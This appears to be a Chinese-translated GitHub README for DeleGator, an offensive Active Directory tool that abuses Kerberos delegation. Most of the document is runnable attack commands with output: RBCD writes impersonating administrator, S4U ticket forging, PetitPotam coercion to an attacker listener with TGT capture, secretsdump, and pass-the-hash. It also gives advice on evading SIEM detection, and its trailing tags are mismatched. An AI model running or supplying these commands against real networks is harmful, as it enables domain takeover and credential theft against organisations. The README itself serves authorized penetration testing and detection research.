cbev0x/DeleGator
GitHub: cbev0x/DeleGator
DeleGator 是一个集枚举与利用于一体的 Linux 原生 Active Directory Kerberos 委派滥用框架,具备 OPSEC 噪声分析和 SIEM 遥测验证能力。
Stars: 3 | Forks: 0
```
.-._ _ _ _ _ _ _ _ _
.-''-.__.-' X '-' ' ' ' ' ' ' ' '-.
'.___ ' . .--_'-' '-' '-' _'-' '._
V: V 'vv-' '_ '. .' _..' '.'.
'=.____.=_.--' :_.__.__:_ '. : :
(((____.-' '-. / : :
(((-'\ .' /
_____..' .'
'-._____.-'
____ ___ _ ___ ___ ___ _____ ___ _____
| _ \| __| | | __| / __| / _ \ |_ _| / _ \ | _ )
| |_\ | _|| |_ | _| | (_ | / |_| \ | | | |_| | | |\ \
|____/|___|___||___| \___| |_| |_| |_| \___/ |_| \_\
```
**Linux 原生的 Kerberos 委派滥用框架**




DeleGator 是一个 Linux 原生的 Active Directory 委派滥用框架,它弥合了枚举与利用之间的差距。该领域的大多数工具要么只能进行枚举,要么只能进行利用——而 DeleGator 两者皆可,它会自动将发现的线索关联为可执行的攻击链,并准确展示每项操作会生成哪些 Windows 事件。
该工具在专门构建的 AD 实验室中进行了构建和测试,且在整个开发过程中都运行着 Elastic SIEM 检测。每一项 OPSEC 声明都有实测的事件数据作为支撑,而非主观臆断。
## 功能
- **枚举优先设计** — 通过针对性的 LDAP 查询,揭示非约束委派、约束委派和 RBCD 委派的配置错误,并进行攻击路径关联
- **完整的利用链** — 原生实现 S4U2Self + S4U2Proxy,支持 RBCD 属性写入,输出的 ccache 可直接使用
- **四种身份验证方法** — 密码、NTLM hash、ccache(pass-the-ticket)和证书(PKINIT)
- **OPSEC 感知** — 可配置的查询延迟和抖动,每项操作均有噪声评级,通过 `--opsec-check` 提供预先警告
- **JSON 输出模式** — 可将发现的线索通过管道传递给其他工具或报告框架
- **兼容 Impacket 0.13.x** — 在 ASN.1 层面从零构建了 S4U2Self/S4U2Proxy
## 安装
```
git clone https://github.com/cbev0x/DeleGator
cd DeleGator
pip install -r requirements.txt
```
**依赖项:**
```
# Kerberos ccache 认证 (LDAP) 所需
sudo apt install libkrb5-dev -y
pip install gssapi
```
## 用法
```
delegator.py [-h] -d DOMAIN -u USER --dc-ip IP [auth] [opsec] [output] COMMAND
Authentication (exactly one required):
-p PASSWORD Plaintext password
-H HASH NTLM hash (LM:NT, :NT, or bare NT)
--ccache PATH Kerberos ccache (or set KRB5CCNAME)
--pfx PATH PFX/PKCS12 certificate
--cert PATH PEM certificate
--key PATH PEM private key
OPSEC:
--delay MS Delay between LDAP queries (milliseconds)
--jitter PCT Jitter percentage for delay
--slow Slow mode preset: 2000ms delay, 30% jitter
--opsec-check Prompt before noisy operations
Output:
--json JSON output for tool chaining
--out DIR ccache output directory (default: /tmp)
--quiet Suppress banner and info messages
```
## 枚举
### 完整枚举
查询所有三种委派类型,并将发现的结果关联为攻击路径。
```
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
-p Password123! enum
```
```
UNCONSTRAINED DELEGATION
────────────────────────
Account Type Reachable Coercible Last Logon
FILESERVER01$ Computer True SpoolSS, PetitPotam 2026-05-28
CONSTRAINED DELEGATION
──────────────────────
Account Proto Transition Delegatable SPNs Flag
svc-mssql YES MSSQLSvc/DC01.corp.local:1433 ⚠ HIGH VALUE
svc-http NO HTTP/SRV02.corp.local
ATTACK PATHS IDENTIFIED
───────────────────────
[CRITICAL] svc-web has write access over WORKSTATION01$ — RBCD exploitation path
├─ Configure RBCD on WORKSTATION01$
├─ S4U2Self → S4U2Proxy chain
└─ Write ccache → use with Impacket or NetExec
[HIGH] Coerce FILESERVER01$ via SpoolSS → capture TGT → DCSync
[HIGH] svc-mssql has constrained delegation with protocol transition
```
### 定向枚举
```
# 仅 Constrained delegation
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
-p Password123! enum --constrained
# 仅 RBCD write paths
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
-p Password123! enum --rbcd
# 仅 Unconstrained delegation
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
-p Password123! enum --unconstrained
```
### 用于工具链的 JSON 输出
```
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
-p Password123! --json enum > findings.json
```
```
{
"delegator": {
"findings": {
"unconstrained": [...],
"constrained": [...],
"rbcd_writable": [...],
"attack_paths": [...]
},
"summary": {
"unconstrained_count": 1,
"constrained_count": 2,
"attack_paths_count": 3,
"critical_paths": 1
}
}
}
```
## 利用
### RBCD(基于资源的约束委派)
**场景:** 您拥有一个对计算机对象具有 `GenericWrite` 权限的账户。
```
# 使用现有账户作为 delegation source
python3 delegator.py -d corp.local -u svc-web --dc-ip 10.10.10.10 \
-p Password123! exploit --type rbcd \
--target WORKSTATION01 \
--delegate-account svc-web --delegate-pass Password123! \
--impersonate administrator
# 为攻击创建新机器账户(推荐)
python3 delegator.py -d corp.local -u svc-web --dc-ip 10.10.10.10 \
-p Password123! exploit --type rbcd \
--target WORKSTATION01 \
--add-computer \
--impersonate administrator
# 在 exploitation 后自动清理 RBCD attribute
python3 delegator.py -d corp.local -u svc-web --dc-ip 10.10.10.10 \
-p Password123! exploit --type rbcd \
--target WORKSTATION01 \
--add-computer --cleanup \
--impersonate administrator
```
```
[+] RBCD configured: DELEGATOR-AB3F2X$ can now delegate to WORKSTATION01
[+] S4U chain completed successfully
────────────────────────────────────────────────────────────────────
[+] Ticket obtained successfully
────────────────────────────────────────────────────────────────────
Delegation Type : RBCD
Impersonating : administrator
Target SPN : CIFS/WORKSTATION01.corp.local
ccache written : /tmp/administrator_cifs_workstation01_20260601.ccache
# Export the ticket
export KRB5CCNAME=/tmp/administrator_cifs_workstation01_20260601.ccache
# Use with NetExec
netexec smb WORKSTATION01.corp.local --use-kcache
# Use with Impacket
secretsdump.py -k -no-pass administrator@WORKSTATION01.corp.local
[noise] RBCD Attribute Write: HIGH
• 5136 — Directory Service Object Modified
• 4662 — Directory Service Object Access
```
### 约束委派
**路径 A — 启用协议转换**(`TRUSTED_TO_AUTH_FOR_DELEGATION`)
无需目标用户凭据。S4U2Self 会为任意用户获取可转发的票据 (ticket)。
```
python3 delegator.py -d corp.local -u svc-mssql --dc-ip 10.10.10.10 \
-p Password123! exploit --type constrained \
--service-account svc-mssql \
--target-spn MSSQLSvc/DC01.corp.local:1433 \
--impersonate administrator
```
**路径 B — 无协议转换**
需要通过其他方式获取的目标用户的有效 ccache。
```
# 首先获取 user ccache(例如通过 getTGT.py、AS-REP roasting 等)
getTGT.py corp.local/targetuser:Password -dc-ip 10.10.10.10
python3 delegator.py -d corp.local -u svc-http --dc-ip 10.10.10.10 \
-p Password123! exploit --type constrained \
--service-account svc-http \
--target-spn HTTP/intranet.corp.local \
--user-ccache targetuser.ccache
```
**自动检测协议转换:**
DeleGator 会查询账户的 `userAccountControl` 属性,并自动选择正确的利用路径。如有需要,可使用 `--proto-transition` 或 `--no-proto-transition` 进行覆盖。
### 非约束委派
DeleGator 负责枚举和 TGT 捕获监控。强制认证 (Coercion) 由外部工具执行——DeleGator 会生成确切的命令。
```
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
-p Password123! exploit --type unconstrained \
--target FILESERVER01 \
--coerce-target DC01.corp.local \
--listener-ip 10.10.14.10 \
--coerce-method PetitPotam
```
```
Unconstrained Delegation Attack Setup
Target machine : FILESERVER01
Coerce target : DC01.corp.local
Coerce method : PetitPotam
Listener IP : 10.10.14.10
# Step 1 — Start the TGT capture listener
python3 krbrelayx.py --interface 10.10.14.10 --output-dir /tmp
# Step 2 — Trigger coercion (PetitPotam)
python3 PetitPotam.py -u 'htb-user' -p 'Password123!' -d 'corp.local' 10.10.14.10 DC01.corp.local
# Step 3 — Wait for captured TGT in /tmp
```
添加 `--watch` 以自动监控捕获到的 ccache:
```
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
-p Password123! exploit --type unconstrained \
--target FILESERVER01 \
--coerce-target DC01.corp.local \
--listener-ip 10.10.14.10 \
--watch --watch-timeout 120
```
直接处理已捕获的 ccache:
```
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
-p Password123! exploit --type unconstrained \
--target FILESERVER01 \
--manual-ccache /tmp/DC01$.ccache
```
## 身份验证示例
```
# 明文密码
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
-p Password123! enum
# NTLM hash (pass-the-hash)
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
-H :fc525c9683e8fe067095ba2ddc971889 enum
# Kerberos ccache (pass-the-ticket)
export KRB5CCNAME=/tmp/htb-user.ccache
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
--ccache /tmp/htb-user.ccache enum
# 证书 (PKINIT)
python3 delegator.py -d corp.local -u htb-user --dc-ip 10.10.10.10 \
--pfx htb-user.pfx --pfx-pass certpass enum
```
## OPSEC 参考
DeleGator 中的每项操作都有实测的噪声特征。这些数值是针对部署了扩展审核策略和使用 Olaf Hartong 模块化配置的 Sysmon 的 Windows Server 2022 域控制器记录的。
| 操作 | 生成的事件 | 噪声 |
|---|---|---|
| 定向 LDAP 枚举(单一类型) | 4662 x2-4 | 低 |
| 完整 LDAP 枚举(所有类型) | 4662 x6-12 | 中 |
| TGT 请求 (AS-REQ) | 4768 x1 | 低 |
| S4U2Self 请求 | 4769 x1 | 中 |
| S4U2Proxy 请求 | 4769 x1 | 中 |
| RBCD 属性写入 | 5136 x1, 4662 x1 | 高 |
| RBCD 清理 | 5136 x1 | 中 |
**降低噪声:**
```
# 使用 ccache 认证 — 完全跳过 AS-REQ (4768)
python3 delegator.py ... --ccache /tmp/user.ccache enum
# 添加带 jitter 的查询延迟
python3 delegator.py ... --delay 1000 --jitter 30 enum
# Slow mode 预设
python3 delegator.py ... --slow enum
# 在 HIGH noise 操作前提示
python3 delegator.py ... --opsec-check exploit --type rbcd ...
# 将 LDAP 查询范围限定到特定 OU
python3 delegator.py ... enum --search-base "OU=Servers,DC=corp,DC=local"
```
## 实验室环境
DeleGator 是在专门构建的 Active Directory 实验室中开发和测试的:
| 主机 | 操作系统 | 角色 |
|---|---|---|
| DC01 | Windows Server 2022 | 域控制器 + ADCS |
| SRV01 | Windows Server 2019 | 非约束委派 |
| SRV02 | Windows Server 2019 | 约束委派(包含/不包含协议转换) |
| SRV03 | Windows Server 2019 | RBCD 目标 |
| Elastic | Ubuntu 24.04 | Elastic SIEM + Sysmon |
检测栈:Elasticsearch 8.x、Kibana、Logstash、Winlogbeat、Sysmon(Olaf Hartong 配置),以及所有机器上的扩展审核策略。
完整的实验室文档:[实验室环境说明](https://cbev0x.github.io/posts/DeleGator/)
## 要求
```
impacket>=0.11.0
ldap3>=2.9.1
pyopenssl>=23.0.0
cryptography>=41.0.0
colorama>=0.4.6
gssapi>=1.8.0
```
需要 Python 3.10+。
## 作者
**cbev0x** — [github.com/cbev0x](https://github.com/cbev0x)
## 主网站链接
**GitHub Pages** — [cbev0x.github.io](https://cbev0x.github.io/)
*仅用于授权的渗透测试和安全研究。*标签:Active Directory, Checkov, HTTP, Plaso, Python, 动态分析, 无后门, 逆向工具